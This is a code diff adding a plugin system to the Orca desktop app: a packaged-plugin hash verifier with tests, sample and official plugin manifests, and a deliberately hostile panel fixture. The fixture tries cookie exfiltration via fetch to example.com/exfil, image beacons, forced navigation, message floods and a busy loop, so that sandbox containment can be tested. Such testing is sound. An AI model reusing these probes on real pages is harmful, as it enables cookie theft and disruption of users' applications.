if (hashPackagedPluginTree(pluginRoot) !== entry.contentHash) {
|
||||
throw new Error(
|
||||
`[verify-packaged-plugin-resources] packaged bytes do not match ${entry.pluginKey}`
|
||||
)
|
||||
}
|
||||
}
|
||||
console.log(
|
||||
`[verify-packaged-plugin-resources] OK — verified ${index.plugins.length} bundled plugin(s)`
|
||||
)
|
||||
}
|
||||
|
||||
module.exports = { verifyPackagedPluginResources }
|
||||
|
|
@ -0,0 +1,77 @@
|
|||
import { cp, mkdtemp, readFile, readdir, rm, stat, writeFile } from 'node:fs/promises'
|
||||
import { createRequire } from 'node:module'
|
||||
import { tmpdir } from 'node:os'
|
||||
import { join } from 'node:path'
|
||||
import { describe, expect, it } from 'vitest'
|
||||
|
||||
const require = createRequire(import.meta.url)
|
||||
const { verifyPackagedPluginResources } = require('./verify-packaged-plugin-resources.cjs')
|
||||
|
||||
describe('verify packaged plugin resources', () => {
|
||||
it('accepts exact launch bytes copied into a packaged resources directory', async () => {
|
||||
const resourcesDir = await mkdtemp(join(tmpdir(), 'orca-packaged-plugins-'))
|
||||
try {
|
||||
await cp(
|
||||
join(process.cwd(), 'resources', 'plugins', 'launch'),
|
||||
join(resourcesDir, 'plugins', 'launch'),
|
||||
{ recursive: true }
|
||||
)
|
||||
|
||||
expect(() => verifyPackagedPluginResources(resourcesDir)).not.toThrow()
|
||||
} finally {
|
||||
await rm(resourcesDir, { recursive: true, force: true })
|
||||
}
|
||||
})
|
||||
|
||||
it('rejects mutated bytes in the packaged output', async () => {
|
||||
const resourcesDir = await mkdtemp(join(tmpdir(), 'orca-packaged-plugins-'))
|
||||
try {
|
||||
const launchRoot = join(resourcesDir, 'plugins', 'launch')
|
||||
await cp(join(process.cwd(), 'resources', 'plugins', 'launch'), launchRoot, {
|
||||
recursive: true
|
||||
})
|
||||
await writeFile(
|
||||
join(launchRoot, 'stablyai.orca-navigation-shortcuts', 'extra.json'),
|
||||
'{"mutated":true}\n'
|
||||
)
|
||||
|
||||
expect(() => verifyPackagedPluginResources(resourcesDir)).toThrow(
|
||||
'packaged bytes do not match stablyai.orca-navigation-shortcuts'
|
||||
)
|
||||
} finally {
|
||||
await rm(resourcesDir, { recursive: true, force: true })
|
||||
}
|
||||
})
|
||||
|
||||
// The tree is hashed by raw bytes, so a CRLF checkout on Windows breaks the
|
||||
// pinned hash. These two guard the `.gitattributes` eol=lf pin that prevents it.
|
||||
it('pins the launch tree to LF so Windows checkouts hash identically', async () => {
|
||||
const attributes = await readFile(join(process.cwd(), '.gitattributes'), 'utf8')
|
||||
expect(attributes).toContain('/resources/plugins/** text eol=lf')
|
||||
})
|
||||
|
||||
it('rejects a CRLF checkout of the launch tree', async () => {
|
||||
const resourcesDir = await mkdtemp(join(tmpdir(), 'orca-packaged-plugins-'))
|
||||
try {
|
||||
const launchRoot = join(resourcesDir, 'plugins', 'launch')
|
||||
await cp(join(process.cwd(), 'resources', 'plugins', 'launch'), launchRoot, {
|
||||
recursive: true
|
||||
})
|
||||
for (const entry of await readdir(launchRoot, { recursive: true })) {
|
||||
const path = join(launchRoot, entry)
|
||||
if (!(await stat(path)).isFile()) {
|
||||
continue
|
||||
}
|
||||
await writeFile(path, (await readFile(path, 'utf8')).replace(/\r?\n/g, '\r\n'))
|
||||
}
|
||||
|
||||
// Every file is rewritten, so the first mismatch is whichever plugin sorts
|
||||
// first — don't pin a name a later branch can reorder.
|
||||
expect(() => verifyPackagedPluginResources(resourcesDir)).toThrow(
|
||||
/packaged bytes do not match stablyai\./
|
||||
)
|
||||
} finally {
|
||||
await rm(resourcesDir, { recursive: true, force: true })
|
||||
}
|
||||
})
|
||||
})
|
||||
|
|
@ -179,6 +179,7 @@ export default defineConfig({
|
|||
input: {
|
||||
index: resolve('src/main/index.ts'),
|
||||
'daemon-entry': resolve('src/main/daemon/daemon-entry.ts'),
|
||||
'plugin-host-entry': resolve('src/main/plugins/plugin-host-entry.ts'),
|
||||
'computer-sidecar': resolve('src/main/computer/sidecar-entry.ts'),
|
||||
'stt-worker': resolve('src/main/speech/stt-worker.ts'),
|
||||
'warp-theme-parser-worker': resolve('src/main/warp-themes/warp-theme-parser-worker.ts'),
|
||||
|
|
|
|||
|
|
@ -0,0 +1,24 @@
|
|||
// Sample Orca plugin worker entry. Runs inside the out-of-process plugin
|
||||
// worker (plain Node, no Electron), forked lazily on the first trigger. The
|
||||
// default export receives the `orca` API: command registration, event
|
||||
// handlers, and the capability-gated host API.
|
||||
export default function activate(orca) {
|
||||
orca.commands.register('hello-ping', async (args) => {
|
||||
const stored = await orca.host.call('storage.get', { key: 'pings' })
|
||||
const count = (typeof stored?.value === 'number' ? stored.value : 0) + 1
|
||||
await orca.host.call('storage.set', { key: 'pings', value: count })
|
||||
return { pong: true, count, args: args ?? null }
|
||||
})
|
||||
|
||||
orca.events.on('worktree.created', async (payload) => {
|
||||
orca.log(`worktree created: ${payload.worktreeId} at ${payload.path}`)
|
||||
await orca.host.call('notifications.show', {
|
||||
title: 'Worktree created',
|
||||
body: payload.path
|
||||
})
|
||||
})
|
||||
|
||||
orca.events.on('agent.status.changed', (payload) => {
|
||||
orca.log(`agent status: ${payload.state} in ${payload.worktreeId ?? 'unknown worktree'}`)
|
||||
})
|
||||
}
|
||||
|
|
@ -0,0 +1,23 @@
|
|||
{
|
||||
"manifestVersion": 1,
|
||||
"id": "hello-orca",
|
||||
"publisher": "orca-samples",
|
||||
"name": "Hello Orca",
|
||||
"version": "1.0.0",
|
||||
"description": "Sample plugin combining a sandboxed panel, a worker command, and event subscriptions.",
|
||||
"engines": { "orca": ">=1.4.0" },
|
||||
"pluginApi": 1,
|
||||
"main": "main.mjs",
|
||||
"contributes": {
|
||||
"panels": [{ "id": "hello", "title": "Hello Orca", "icon": "plug", "entry": "panel.html" }],
|
||||
"commands": [{ "id": "hello-ping", "title": "Hello: Ping" }],
|
||||
"events": [{ "on": "worktree.created" }, { "on": "agent.status.changed" }]
|
||||
},
|
||||
"capabilities": [
|
||||
{ "kind": "workspace:read" },
|
||||
{ "kind": "terminal:send" },
|
||||
{ "kind": "notifications:show" },
|
||||
{ "kind": "storage" },
|
||||
{ "kind": "events:subscribe" }
|
||||
]
|
||||
}
|
||||
|
|
@ -0,0 +1,125 @@
|
|||
<!doctype html>
|
||||
<html>
|
||||
<head>
|
||||
<meta charset="utf-8" />
|
||||
<style>
|
||||
/* The host injects Orca design tokens as CSS custom properties, so
|
||||
panels can match the app without any access to it. */
|
||||
body {
|
||||
margin: 0;
|
||||
padding: 12px;
|
||||
font-family: system-ui, sans-serif;
|
||||
font-size: 13px;
|
||||
color: var(--foreground, #ddd);
|
||||
background: var(--background, transparent);
|
||||
}
|
||||
h1 {
|
||||
font-size: 14px;
|
||||
margin: 0 0 8px;
|
||||
}
|
||||
button {
|
||||
display: block;
|
||||
margin: 6px 0;
|
||||
padding: 6px 10px;
|
||||
border: 1px solid var(--border, #555);
|
||||
border-radius: 6px;
|
||||
background: var(--secondary, #2a2a2a);
|
||||
color: var(--foreground, #ddd);
|
||||
cursor: pointer;
|
||||
font: inherit;
|
||||
}
|
||||
select {
|
||||
margin: 6px 0;
|
||||
max-width: 100%;
|
||||
}
|
||||
.status {
|
||||
margin-top: 10px;
|
||||
min-height: 1.4em;
|
||||
color: var(--muted-foreground, #999);
|
||||
white-space: pre-wrap;
|
||||
}
|
||||
</style>
|
||||
</head>
|
||||
<body>
|
||||
<h1>Hello Orca 👋</h1>
|
||||
<p>Panel + worker command + events, gated by consent.</p>
|
||||
<button id="ctx">Read workspace context</button>
|
||||
<select id="terms" hidden></select>
|
||||
<button id="send" hidden>Type "echo hi from plugin" into selected terminal</button>
|
||||
<button id="notify">Show a notification</button>
|
||||
<p class="status" id="status"></p>
|
||||
<script>
|
||||
'use strict'
|
||||
var seq = 0
|
||||
var pending = {}
|
||||
var statusEl = document.getElementById('status')
|
||||
var termsEl = document.getElementById('terms')
|
||||
|
||||
function call(action, params) {
|
||||
return new Promise(function (resolve) {
|
||||
var requestId = 'req-' + ++seq
|
||||
pending[requestId] = resolve
|
||||
// The panel frame is an opaque origin, so '*' is the only usable
|
||||
// targetOrigin; the host verifies the sending window instead.
|
||||
window.parent.postMessage(
|
||||
{ type: 'orca-panel-action', requestId: requestId, action: action, params: params },
|
||||
'*'
|
||||
)
|
||||
})
|
||||
}
|
||||
|
||||
window.addEventListener('message', function (event) {
|
||||
var data = event.data
|
||||
if (!data || data.type !== 'orca-panel-action-result') return
|
||||
var resolve = pending[data.requestId]
|
||||
if (!resolve) return
|
||||
delete pending[data.requestId]
|
||||
resolve(data)
|
||||
})
|
||||
|
||||
document.getElementById('ctx').addEventListener('click', function () {
|
||||
call('workspace.readContext').then(function (result) {
|
||||
if (!result.ok) {
|
||||
statusEl.textContent = 'context failed: ' + (result.error || result.errorCode)
|
||||
return
|
||||
}
|
||||
if (!result.value) {
|
||||
statusEl.textContent = 'no focused worktree'
|
||||
return
|
||||
}
|
||||
statusEl.textContent = result.value.displayName + ' on branch ' + result.value.branch
|
||||
termsEl.innerHTML = ''
|
||||
result.value.terminals.forEach(function (terminal) {
|
||||
var option = document.createElement('option')
|
||||
option.value = terminal.id
|
||||
option.textContent = terminal.id
|
||||
termsEl.appendChild(option)
|
||||
})
|
||||
termsEl.hidden = result.value.terminals.length === 0
|
||||
document.getElementById('send').hidden = result.value.terminals.length === 0
|
||||
})
|
||||
})
|
||||
|
||||
document.getElementById('send').addEventListener('click', function () {
|
||||
// Explicit terminal id — the API has no "active terminal" target.
|
||||
call('terminal.sendText', {
|
||||
terminalId: termsEl.value,
|
||||
text: 'echo hi from plugin',
|
||||
enter: true
|
||||
}).then(function (result) {
|
||||
statusEl.textContent = result.ok
|
||||
? 'typed (accepted=' + result.value.accepted + ')'
|
||||
: 'send failed: ' + (result.error || result.errorCode)
|
||||
})
|
||||
})
|
||||
|
||||
document.getElementById('notify').addEventListener('click', function () {
|
||||
call('notifications.show', { title: 'Hello from the panel' }).then(function (result) {
|
||||
statusEl.textContent = result.ok
|
||||
? 'notification delivered=' + result.value.delivered
|
||||
: 'notify failed: ' + (result.error || result.errorCode)
|
||||
})
|
||||
})
|
||||
</script>
|
||||
</body>
|
||||
</html>
|
||||
|
|
@ -0,0 +1,16 @@
|
|||
{
|
||||
"manifestVersion": 1,
|
||||
"id": "hostile-panel",
|
||||
"publisher": "orca-samples",
|
||||
"name": "Hostile Panel (security fixture)",
|
||||
"version": "1.0.0",
|
||||
"description": "Deliberately hostile panel used by the plugin containment tests: exfiltration, navigation, message floods, busy loops. Never grant it anything.",
|
||||
"engines": { "orca": ">=1.4.0" },
|
||||
"pluginApi": 1,
|
||||
"contributes": {
|
||||
"panels": [
|
||||
{ "id": "hostile", "title": "Hostile Fixture", "icon": "bug", "entry": "panel.html" }
|
||||
]
|
||||
},
|
||||
"capabilities": []
|
||||
}
|
||||
|
|
@ -0,0 +1,206 @@
|
|||
<!doctype html>
|
||||
<html>
|
||||
<head>
|
||||
<meta charset="utf-8" />
|
||||
<!-- Security test fixture: every attempt below MUST be contained by the
|
||||
host-injected CSP, the iframe sandbox, and the bridge budgets. Each
|
||||
probe reports pass/fail into the DOM so the containment run is
|
||||
directly observable in the panel. -->
|
||||
</head>
|
||||
<body>
|
||||
<h1>Hostile panel fixture</h1>
|
||||
<ul id="results"></ul>
|
||||
<button id="bridge">Run bridge budget probes</button>
|
||||
<button id="navigate-top">Try top navigation</button>
|
||||
<button id="navigate-self">Try self navigation</button>
|
||||
<button id="navigate-anchor-form">Try anchor and form navigation</button>
|
||||
<button id="navigate-meta">Try meta refresh navigation</button>
|
||||
<button id="busy">Enter busy loop (watchdog probe)</button>
|
||||
<script>
|
||||
'use strict'
|
||||
// The main-process guard must bind the frame before plugin parsing.
|
||||
window.name = ''
|
||||
var results = document.getElementById('results')
|
||||
function report(name, contained, detail) {
|
||||
if (document.querySelector('[data-probe="' + name + '"]')) return
|
||||
var li = document.createElement('li')
|
||||
li.dataset.probe = name
|
||||
li.dataset.contained = contained ? 'true' : 'false'
|
||||
li.textContent =
|
||||
name + ': ' + (contained ? 'CONTAINED' : 'ESCAPED') + (detail ? ' — ' + detail : '')
|
||||
results.appendChild(li)
|
||||
document.title = 'probes:' + results.children.length
|
||||
}
|
||||
|
||||
// Probe 1: fetch() exfiltration — must be blocked by connect-src 'none'.
|
||||
var cookieValue = 'x'
|
||||
try {
|
||||
cookieValue = document.cookie || 'x'
|
||||
} catch (_) {
|
||||
// Opaque-origin frames may reject cookie access before CSP runs.
|
||||
}
|
||||
fetch('https://example.com/exfil?d=' + encodeURIComponent(cookieValue))
|
||||
.then(function () {
|
||||
report('fetch-exfil', false, 'request succeeded')
|
||||
})
|
||||
.catch(function () {
|
||||
report('fetch-exfil', true)
|
||||
})
|
||||
|
||||
// Probe 2: <img> beacon — must be blocked by img-src data: only.
|
||||
var img = new Image()
|
||||
var settled = false
|
||||
img.onload = function () {
|
||||
if (!settled) {
|
||||
settled = true
|
||||
report('img-beacon', false, 'image loaded')
|
||||
}
|
||||
}
|
||||
img.onerror = function () {
|
||||
if (!settled) {
|
||||
settled = true
|
||||
report('img-beacon', true)
|
||||
}
|
||||
}
|
||||
img.src = 'https://example.com/beacon.gif'
|
||||
setTimeout(function () {
|
||||
if (!settled) {
|
||||
settled = true
|
||||
report('img-beacon', true, 'no load event')
|
||||
}
|
||||
}, 3000)
|
||||
|
||||
// Navigation probes are opt-in so a failed attempt cannot erase the
|
||||
// network and bridge evidence before the harness observes it.
|
||||
document.getElementById('navigate-top').addEventListener('click', function () {
|
||||
try {
|
||||
window.top.location.href = 'https://example.com/'
|
||||
setTimeout(function () {
|
||||
report('top-navigation', window.top !== window)
|
||||
}, 0)
|
||||
} catch (error) {
|
||||
report('top-navigation', true, error.name)
|
||||
}
|
||||
})
|
||||
|
||||
document.getElementById('navigate-self').addEventListener('click', function () {
|
||||
try {
|
||||
window.location.href = 'https://example.com/self-navigation'
|
||||
setTimeout(function () {
|
||||
report('self-navigation', true)
|
||||
}, 0)
|
||||
} catch (error) {
|
||||
report('self-navigation', true, error.name)
|
||||
}
|
||||
})
|
||||
|
||||
document.getElementById('navigate-anchor-form').addEventListener('click', function () {
|
||||
var anchor = document.createElement('a')
|
||||
anchor.href = 'https://example.com/anchor-navigation'
|
||||
anchor.textContent = 'Navigation probe'
|
||||
document.body.appendChild(anchor)
|
||||
anchor.click()
|
||||
|
||||
var form = document.createElement('form')
|
||||
form.action = 'https://example.com/form-navigation'
|
||||
document.body.appendChild(form)
|
||||
form.requestSubmit()
|
||||
setTimeout(function () {
|
||||
report('anchor-form-navigation', true)
|
||||
}, 0)
|
||||
})
|
||||
|
||||
document.getElementById('navigate-meta').addEventListener('click', function () {
|
||||
var refresh = document.createElement('meta')
|
||||
refresh.httpEquiv = 'refresh'
|
||||
refresh.content = '0;url=https://example.com/meta-refresh'
|
||||
document.head.appendChild(refresh)
|
||||
setTimeout(function () {
|
||||
report('meta-refresh-navigation', true)
|
||||
}, 0)
|
||||
})
|
||||
|
||||
// Probe 7: an oversized valid-looking call must receive a real refusal.
|
||||
window.addEventListener('message', function (event) {
|
||||
var data = event.data
|
||||
if (event.source !== window.parent || !data || data.type !== 'orca-panel-action-result') {
|
||||
return
|
||||
}
|
||||
if (data.requestId === 'oversized-probe') {
|
||||
report(
|
||||
'oversized-message',
|
||||
!data.ok && data.errorCode === 'invalid_request',
|
||||
data.errorCode || 'unexpected success'
|
||||
)
|
||||
}
|
||||
if (data.requestId === 'flood-result') {
|
||||
report(
|
||||
'message-flood',
|
||||
!data.ok && data.errorCode === 'rate_limited',
|
||||
data.errorCode || 'unexpected success'
|
||||
)
|
||||
}
|
||||
})
|
||||
|
||||
document.getElementById('bridge').addEventListener('click', function () {
|
||||
window.parent.postMessage(
|
||||
{
|
||||
type: 'orca-panel-action',
|
||||
requestId: 'oversized-probe',
|
||||
action: 'workspace.readContext',
|
||||
params: { padding: 'x'.repeat(128 * 1024) }
|
||||
},
|
||||
'*'
|
||||
)
|
||||
setTimeout(function () {
|
||||
report('oversized-message', false, 'host sent no refusal')
|
||||
}, 2000)
|
||||
|
||||
// Probe 8: invalid, pong, and binary floods must all spend rate budget
|
||||
// before parsing; the final valid call is the observable oracle.
|
||||
setTimeout(function () {
|
||||
for (var i = 0; i < 40; i++) {
|
||||
var payload =
|
||||
i % 3 === 0
|
||||
? { type: 'orca-panel-pong', pingId: i }
|
||||
: i % 3 === 1
|
||||
? { type: 'invalid-hostile-message', sequence: i }
|
||||
: new Uint8Array(2048)
|
||||
window.parent.postMessage(payload, '*')
|
||||
}
|
||||
window.parent.postMessage(
|
||||
{
|
||||
type: 'orca-panel-action',
|
||||
requestId: 'flood-result',
|
||||
action: 'workspace.readContext',
|
||||
params: {}
|
||||
},
|
||||
'*'
|
||||
)
|
||||
setTimeout(function () {
|
||||
report('message-flood', false, 'host sent no rate-limit refusal')
|
||||
}, 2000)
|
||||
}, 150)
|
||||
})
|
||||
|
||||
// Probe 9: opt-in busy loop. The watchdog should demote the panel while
|
||||
// Chromium keeps the sandboxed frame in its isolated renderer process.
|
||||
function enterBusyLoop() {
|
||||
report('busy-loop', true, 'watchdog should suspend this panel')
|
||||
while (true) {
|
||||
// Deliberately hostile fixture.
|
||||
}
|
||||
}
|
||||
document.getElementById('busy').addEventListener('click', enterBusyLoop)
|
||||
window.addEventListener('message', function (event) {
|
||||
if (
|
||||
event.source === window.parent &&
|
||||
event.data &&
|
||||
event.data.type === 'orca-hostile-busy-probe'
|
||||
) {
|
||||
enterBusyLoop()
|
||||
}
|
||||
})
|
||||
</script>
|
||||
</body>
|
||||
</html>
|
||||
|
|
@ -0,0 +1,10 @@
|
|||
{
|
||||
"version": 1,
|
||||
"plugins": [
|
||||
{
|
||||
"pluginKey": "stablyai.orca-navigation-shortcuts",
|
||||
"path": "stablyai.orca-navigation-shortcuts",
|
||||
"contentHash": "ce3a146bae9e121a18cb86a710973422be749a25da5a1c21a8911e2e98cc3a77"
|
||||
}
|
||||
]
|
||||
}
|
||||
|
|
@ -0,0 +1,36 @@
|
|||
{
|
||||
"name": "Orca Official Plugins",
|
||||
"owner": "stablyai",
|
||||
"plugins": [
|
||||
{
|
||||
"id": "stablyai.orca-portuguese",
|
||||
"source": {
|
||||
"kind": "git",
|
||||
"url": "https://github.com/stablyai/orca-portuguese.git",
|
||||
"ref": "v1.0.0"
|
||||
},
|
||||
"description": "Brazilian Portuguese translations for common Orca navigation.",
|
||||
"categories": ["languages", "official"]
|
||||
},
|
||||
{
|
||||
"id": "stablyai.orca-multipass-recipes",
|
||||
"source": {
|
||||
"kind": "git",
|
||||
"url": "https://github.com/stablyai/orca-multipass-recipes.git",
|
||||
"ref": "v1.0.0"
|
||||
},
|
||||
"description": "A reviewed starter lifecycle for disposable Multipass workspaces.",
|
||||
"categories": ["vm-recipes", "official"]
|
||||
},
|
||||
{
|
||||
"id": "stablyai.orca-navigation-shortcuts",
|
||||
"source": {
|
||||
"kind": "git",
|
||||
"url": "https://github.com/stablyai/orca-navigation-shortcuts.git",
|
||||
"ref": "v1.0.0"
|
||||
},
|
||||
"description": "Command aliases and optional shortcuts for frequent Orca views.",
|
||||
"categories": ["keybindings", "official"]
|
||||
}
|
||||
]
|
||||
}
|
||||
|
|
@ -0,0 +1,15 @@
|
|||
{
|
||||
"manifestVersion": 1,
|
||||
"id": "orca-multipass-recipes",
|
||||
"publisher": "stablyai",
|
||||
"name": "Multipass VM Recipes",
|
||||
"version": "1.0.0",
|
||||
"description": "A reviewed starter lifecycle for disposable Multipass workspaces.",
|
||||
"repository": "https://github.com/stablyai/orca-multipass-recipes",
|
||||
"engines": { "orca": ">=1.4.0" },
|
||||
"pluginApi": 1,
|
||||
"contributes": {
|
||||
"vmRecipes": [{ "path": "recipes/ubuntu-lts.json" }]
|
||||
},
|
||||
"capabilities": []
|
||||
}
|
||||
|
|
@ -0,0 +1,10 @@
|
|||
{
|
||||
"schemaVersion": 1,
|
||||
"id": "multipass-ubuntu-lts",
|
||||
"name": "Multipass Ubuntu LTS",
|
||||
"description": "Creates a four-CPU disposable Ubuntu workspace with Multipass.",
|
||||
"create": "multipass launch 24.04 --name \"$ORCA_VM_NAME\" --cpus 4 --memory 8G --disk 40G",
|
||||
"suspend": "multipass suspend \"$ORCA_VM_NAME\"",
|
||||
"resume": "multipass start \"$ORCA_VM_NAME\"",
|
||||
"destroy": "multipass delete \"$ORCA_VM_NAME\" --purge"
|
||||
}
|
||||
|
|
@ -0,0 +1,34 @@
|
|||
{
|
||||
"manifestVersion": 1,
|
||||
"id": "orca-navigation-shortcuts",
|
||||
"publisher": "stablyai",
|
||||
"name": "Orca Navigation Shortcuts",
|
||||
"version": "1.0.0",
|
||||
"description": "Command aliases and optional shortcuts for frequent Orca views.",
|
||||
"repository": "https://github.com/stablyai/orca-navigation-shortcuts",
|
||||
"engines": { "orca": ">=1.4.0" },
|
||||
"pluginApi": 1,
|
||||
"contributes": {
|
||||
"commands": [
|
||||
{ "id": "open-tasks", "title": "Open Tasks", "context": "global", "action": "view.tasks" },
|
||||
{
|
||||
"id": "toggle-search",
|
||||
"title": "Toggle Search",
|
||||
"context": "global",
|
||||
"action": "sidebar.search.toggle"
|
||||
},
|
||||
{
|
||||
"id": "toggle-source-control",
|
||||
"title": "Toggle Source Control",
|
||||
"context": "global",
|
||||
"action": "sidebar.sourceControl.toggle"
|
||||
}
|
||||
],
|
||||
"keybindings": [
|
||||
{ "command": "open-tasks", "key": "Mod+Alt+T", "when": "global" },
|
||||
{ "command": "toggle-search", "key": "Mod+Alt+F", "when": "global" },
|
||||
{ "command": "toggle-source-control", "key": "Mod+Alt+G", "when": "global" }
|
||||
]
|
||||
},
|
||||
"capabilities": []
|
||||
}
|
||||
|
|
@ -0,0 +1,36 @@
|
|||
{
|
||||
"settings": {
|
||||
"appearance": {
|
||||
"language": {
|
||||
"title": "Idioma",
|
||||
"description": "Escolha o idioma usado na interface do Orca.",
|
||||
"system": "Sistema",
|
||||
"english": "Inglês",
|
||||
"chinese": "Chinês simplificado",
|
||||
"korean": "Coreano",
|
||||
"japanese": "Japonês",
|
||||
"spanish": "Espanhol"
|
||||
}
|
||||
}
|
||||
},
|
||||
"menu": {
|
||||
"checkForUpdates": "Verificar atualizações...",
|
||||
"settings": "Configurações",
|
||||
"file": "Arquivo",
|
||||
"exit": "Sair",
|
||||
"edit": "Editar",
|
||||
"appearance": "Aparência",
|
||||
"view": "Visualizar",
|
||||
"reload": "Recarregar",
|
||||
"window": "Janela",
|
||||
"help": "Ajuda",
|
||||
"paste": "Colar"
|
||||
},
|
||||
"tray": {
|
||||
"openOrca": "Abrir o Orca",
|
||||
"quit": "Encerrar",
|
||||
"minimizeNotice": {
|
||||
"body": "O Orca continua em execução na bandeja do sistema"
|
||||
}
|
||||
}
|
||||
}
|
||||
|
|
@ -0,0 +1,15 @@
|
|||
{
|
||||
"manifestVersion": 1,
|
||||
"id": "orca-portuguese",
|
||||
"publisher": "stablyai",
|
||||
"name": "Português do Brasil",
|
||||
"version": "1.0.0",
|
||||
"description": "Brazilian Portuguese translations for common Orca navigation.",
|
||||
"repository": "https://github.com/stablyai/orca-portuguese",
|
||||
"engines": { "orca": ">=1.4.0" },
|
||||
"pluginApi": 1,
|
||||
"contributes": {
|
||||
"languagePacks": [{ "locale": "pt-BR", "path": "locales/pt-BR.json" }]
|
||||
},
|
||||
"capabilities": []
|
||||
}
|
||||
|
|
@ -7083,6 +7083,38 @@ describe('AgentHookServer ingestRemote', () => {
|
|||
}
|
||||
})
|
||||
|
||||
it('fans a Pi session-only status out to plugins, not just the renderer', () => {
|
||||
const server = new AgentHookServer()
|
||||
const rendererListener = vi.fn()
|
||||
const pluginListener = vi.fn()
|
||||
server.setListener(rendererListener)
|
||||
server.subscribeEnrichedStatus(pluginListener)
|
||||
|
||||
server.ingestRemote(
|
||||
{
|
||||
paneKey: PANE,
|
||||
tabId: 'tab-1',
|
||||
worktreeId: 'wt-1',
|
||||
providerSession: {
|
||||
key: 'session_id',
|
||||
id: 'pi-session-1',
|
||||
transcriptPath: '/tmp/pi-session-1.jsonl'
|
||||
},
|
||||
providerSessionOnly: true,
|
||||
payload: { state: 'done', prompt: '', agentType: 'pi' }
|
||||
},
|
||||
'conn-1'
|
||||
)
|
||||
|
||||
// The session-only path returns early, so it must not skip the plugin tap.
|
||||
expect(rendererListener).toHaveBeenCalledWith(
|
||||
expect.objectContaining({ paneKey: PANE, providerSessionOnly: true })
|
||||
)
|
||||
expect(pluginListener).toHaveBeenCalledWith(
|
||||
expect.objectContaining({ paneKey: PANE, providerSessionOnly: true })
|
||||
)
|
||||
})
|
||||
|
||||
it('rejects invalid remote metadata-only session envelopes', () => {
|
||||
const server = new AgentHookServer()
|
||||
const listener = vi.fn()
|
||||
|
|
|
|||
|
|
@ -465,6 +465,10 @@ export class AgentHookServer {
|
|||
private onPaneStatusCleared: PaneStatusClearListener | null = null
|
||||
private statusChangeListeners = new Set<StatusChangeListener>()
|
||||
private providerSessionChangeListeners = new Set<ProviderSessionChangeListener>()
|
||||
// Why: setListener is a single slot owned by the main-window fanout; the
|
||||
// plugin event bus (and future consumers) need an additive subscription
|
||||
// that also works in headless serve, where no window listener exists.
|
||||
private enrichedStatusListeners = new Set<(payload: EnrichedAgentHookEventPayload) => void>()
|
||||
// Why: set via start()'s userDataPath so the class has no direct Electron dependency (mockable in vitest node env).
|
||||
private endpointDir: string | null = null
|
||||
private endpointFilePathCache: string | null = null
|
||||
|
|
@ -525,6 +529,14 @@ export class AgentHookServer {
|
|||
}
|
||||
}
|
||||
|
||||
/** Multi-subscriber tap on every enriched status change (no replay). */
|
||||
subscribeEnrichedStatus(listener: (payload: EnrichedAgentHookEventPayload) => void): () => void {
|
||||
this.enrichedStatusListeners.add(listener)
|
||||
return () => {
|
||||
this.enrichedStatusListeners.delete(listener)
|
||||
}
|
||||
}
|
||||
|
||||
setPaneStatusClearListener(listener: PaneStatusClearListener | null): void {
|
||||
this.onPaneStatusCleared = listener
|
||||
}
|
||||
|
|
@ -890,7 +902,7 @@ export class AgentHookServer {
|
|||
this.state.lastStatusByPaneKey.set(enriched.paneKey, enriched)
|
||||
this.scheduleStatusPersist()
|
||||
this.notifyStatusChangeListeners()
|
||||
this.onAgentStatus?.(enriched)
|
||||
this.emitEnrichedStatus(enriched)
|
||||
return enriched
|
||||
}
|
||||
const stateReconciledPayload =
|
||||
|
|
@ -1002,10 +1014,23 @@ export class AgentHookServer {
|
|||
this.state.lastStatusByPaneKey.set(enriched.paneKey, enriched)
|
||||
this.scheduleStatusPersist()
|
||||
this.notifyStatusChangeListeners()
|
||||
this.onAgentStatus?.(enriched)
|
||||
this.emitEnrichedStatus(enriched)
|
||||
return enriched
|
||||
}
|
||||
|
||||
// Why: every status emit must reach plugins too, so a new early-return path
|
||||
// upstream cannot silently leave the plugin tap behind the main-window fanout.
|
||||
private emitEnrichedStatus(enriched: EnrichedAgentHookEventPayload): void {
|
||||
this.onAgentStatus?.(enriched)
|
||||
for (const listener of this.enrichedStatusListeners) {
|
||||
try {
|
||||
listener(enriched)
|
||||
} catch (err) {
|
||||
console.error('[agent-hooks] enriched status listener threw', err)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private clearAssistantMessageRetry(paneKey: string): void {
|
||||
const timer = this.assistantMessageRetryTimers.get(paneKey)
|
||||
if (!timer) {
|
||||
|
|
|
|||
|
|
@ -140,6 +140,10 @@ function createSettings(overrides: TestSettingsOverrides = {}): GlobalSettings {
|
|||
terminalScopeHistoryByWorktree: true,
|
||||
defaultTuiAgent: null,
|
||||
disabledTuiAgents: [],
|
||||
pluginSystemEnabled: false,
|
||||
disabledPlugins: [],
|
||||
pluginConsents: {},
|
||||
devPluginPaths: [],
|
||||
skipDeleteWorktreeConfirm: false,
|
||||
skipCloseTerminalWithRunningProcessConfirm: false,
|
||||
skipDeleteAutomationConfirm: false,
|
||||
|
|
|
|||
|
|
@ -148,6 +148,10 @@ function createSettings(overrides: TestSettingsOverrides = {}): GlobalSettings {
|
|||
terminalScopeHistoryByWorktree: true,
|
||||
defaultTuiAgent: null,
|
||||
disabledTuiAgents: [],
|
||||
pluginSystemEnabled: false,
|
||||
disabledPlugins: [],
|
||||
pluginConsents: {},
|
||||
devPluginPaths: [],
|
||||
skipDeleteWorktreeConfirm: false,
|
||||
skipCloseTerminalWithRunningProcessConfirm: false,
|
||||
skipDeleteAutomationConfirm: false,
|
||||
|
|
|
|||
|
|
@ -83,6 +83,9 @@ describe('ephemeral VM runtime service', () => {
|
|||
const recipe: OrcaVmRecipe = {
|
||||
id: 'cloud-sandbox',
|
||||
name: 'Cloud Sandbox',
|
||||
// Repo-owned recipes predate plugin bounds; snapshotting must not fail
|
||||
// after create has already provisioned external resources.
|
||||
description: 'x'.repeat(2_048),
|
||||
create: nodeCommand(startPath),
|
||||
destroy: nodeCommand(cleanupPath)
|
||||
}
|
||||
|
|
@ -104,6 +107,7 @@ describe('ephemeral VM runtime service', () => {
|
|||
expect(provisioned.runtime).toMatchObject({
|
||||
id: provisioned.start.context.instanceId,
|
||||
recipeId: 'cloud-sandbox',
|
||||
recipe,
|
||||
repoId: 'repo-1',
|
||||
projectId: 'project-1',
|
||||
workspaceName: 'Fix Login Race',
|
||||
|
|
|
|||
|
|
@ -120,6 +120,7 @@ export async function provisionEphemeralVmRuntime(
|
|||
const runtime = upsertEphemeralVmRuntime(args.userDataPath, {
|
||||
id: start.context.instanceId ?? start.context.recipeId,
|
||||
recipeId: args.recipe.id,
|
||||
recipe: args.recipe,
|
||||
...(args.repoId ? { repoId: args.repoId } : {}),
|
||||
